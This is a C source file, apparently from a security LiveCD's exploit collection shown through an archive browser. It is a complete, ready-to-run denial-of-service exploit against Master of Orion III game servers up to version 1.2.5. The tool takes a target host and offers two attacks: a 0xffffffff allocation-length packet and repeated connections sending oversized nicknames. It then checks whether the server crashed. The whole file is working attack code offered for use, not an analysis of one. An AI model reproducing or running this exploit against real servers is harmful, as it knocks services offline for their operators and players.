home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / moo3boom.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  209 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10.  
  11. #ifdef WIN32
  12.     #include <winsock.h>
  13.     #include "winerr.h"
  14.  
  15.     #define close   closesocket
  16. #else
  17.     #include <unistd.h>
  18.     #include <sys/socket.h>
  19.     #include <sys/types.h>
  20.     #include <arpa/inet.h>
  21.     #include <netinet/in.h>
  22.     #include <netdb.h>
  23. #endif
  24.  
  25.  
  26.  
  27. #define VER     "0.1"
  28. #define PORT    25711
  29. #define BUFFSZ  2048
  30. #define TIMEOUT 3
  31. #define MAX     15
  32. #define PCK1    "gniP" "nnoC"   /* Connection Ping */ \
  33.                 "\x02\x00\x00\x00\x01\x41\x66\xFF\x08\x00\x00\x00\x00\x00"
  34. #define PCK2    "ofnI" "trtS"   /* Start info */ \
  35.                 "\x02\x00\x02\x00\x01\x01\x00\x00\x00" \
  36.                 "\xff"          /* nickname size followed by nickname (wide chars) */ \
  37.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  38.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  39.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  40.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  41.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  42.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  43.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  44.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  45.  
  46. #define SEND(x) tmp = htonl(sizeof(x) - 1); \
  47.                 if(send(sd, (void *)&tmp, 4, 0) \
  48.                   < 0) std_err(); \
  49.                 if(send(sd, x, sizeof(x) - 1, 0) \
  50.                   < 0) std_err();
  51.  
  52. #define RECV(x) for(tot = 0; tot < x; tot += tmp) { \
  53.                     tmp = recv(sd, buff + tot, BUFFSZ - tot, 0); \
  54.                     if(tmp < 0) std_err(); \
  55.                     if(!tmp) break; \
  56.                 }
  57.  
  58.  
  59.  
  60. int timeout(int sock);
  61. u_long resolv(char *host);
  62. void std_err(void);
  63.  
  64.  
  65.  
  66. int main(int argc, char *argv[]) {
  67.     int     sd,
  68.             i,
  69.             len,
  70.             tot,
  71.             tmp;
  72.     u_short port = PORT;
  73.     u_char  buff[BUFFSZ];
  74.     struct  sockaddr_in peer;
  75.  
  76.  
  77.     setbuf(stdout, NULL);
  78.  
  79.     fputs("\n"
  80.         "Master of Orion III <= 1.2.5 server crash "VER"\n"
  81.         "by Luigi Auriemma\n"
  82.         "e-mail: aluigi@altervista.org\n"
  83.         "web:    http://aluigi.altervista.org\n"
  84.         "\n", stdout);
  85.  
  86.     if(argc < 3) {
  87.         printf("\n"
  88.             "Usage: %s <attack> <server> [port(%d)]\n"
  89.             "\n"
  90.             "Attack:\n"
  91.             " 1 = fast allocation exit\n"
  92.             " 2 = multiple big nicknames crash\n"
  93.             "\n", argv[0], PORT);
  94.         exit(1);
  95.     }
  96.  
  97. #ifdef WIN32
  98.     WSADATA    wsadata;
  99.     WSAStartup(MAKEWORD(1,0), &wsadata);
  100. #endif
  101.  
  102.     if(argc > 3) port = atoi(argv[3]);
  103.  
  104.     peer.sin_addr.s_addr = resolv(argv[2]);
  105.     peer.sin_port        = htons(port);
  106.     peer.sin_family      = AF_INET;
  107.  
  108.     printf("- target   %s:%hu\n",
  109.         inet_ntoa(peer.sin_addr), port);
  110.  
  111.     if(atoi(argv[1]) == 2) {
  112.         printf("- make max %d connections sending a big nickname\n", MAX);
  113.         for(i = 1; i <= MAX; i++) {
  114.             printf("  Connection: %d\n", i);
  115.             sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  116.             if(sd < 0) std_err();
  117.             if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  118.               < 0) std_err();
  119.  
  120.             fputs("- send join ping\n", stdout);
  121.             SEND(PCK1);
  122.  
  123.             RECV(4);
  124.             len = ntohl(*(u_long *)buff);
  125.             RECV(len);
  126.  
  127.             fputs("- send join data\n", stdout);
  128.             SEND(PCK2);
  129.  
  130.             fputs("- check if server is crashed\n", stdout);
  131.             if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
  132.                 fputs("\nServer IS vulnerable!!!\n", stdout);
  133.                 close(sd);
  134.                 break;
  135.             }
  136.  
  137.             close(sd);
  138.         }
  139.         if(i > MAX) fputs("\nServer doesn't seem vulnerable\n", stdout);
  140.  
  141.     } else {
  142.         sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  143.         if(sd < 0) std_err();
  144.         if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
  145.           < 0) std_err();
  146.  
  147.         fputs("- send BOOM data\n", stdout);
  148.         len = 0xffffffff;   // bytes to allocate in memory
  149.         if(send(sd, (void *)&len, 4, 0)
  150.           < 0) std_err();
  151.  
  152.         if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
  153.             fputs("\nServer IS vulnerable!!!\n", stdout);
  154.         } else {
  155.             fputs("\nServer doesn't seem vulnerable\n", stdout);
  156.         }
  157.  
  158.         close(sd);
  159.     }
  160.  
  161.     return(0);
  162. }
  163.  
  164.  
  165.  
  166. int timeout(int sock) {
  167.     struct  timeval tout;
  168.     fd_set  fd_read;
  169.     int     err;
  170.  
  171.     tout.tv_sec = TIMEOUT;
  172.     tout.tv_usec = 0;
  173.     FD_ZERO(&fd_read);
  174.     FD_SET(sock, &fd_read);
  175.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  176.     if(err < 0) std_err();
  177.     if(!err) return(-1);
  178.     return(0);
  179. }
  180.  
  181.  
  182.  
  183. u_long resolv(char *host) {
  184.     struct  hostent *hp;
  185.     u_long  host_ip;
  186.  
  187.     host_ip = inet_addr(host);
  188.     if(host_ip == INADDR_NONE) {
  189.         hp = gethostbyname(host);
  190.         if(!hp) {
  191.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  192.             exit(1);
  193.         } else host_ip = *(u_long *)hp->h_addr;
  194.     }
  195.     return(host_ip);
  196. }
  197.  
  198.  
  199.  
  200. #ifndef WIN32
  201.     void std_err(void) {
  202.         perror("\nError");
  203.         exit(1);
  204.     }
  205. #endif
  206.  
  207.  
  208.  
  209.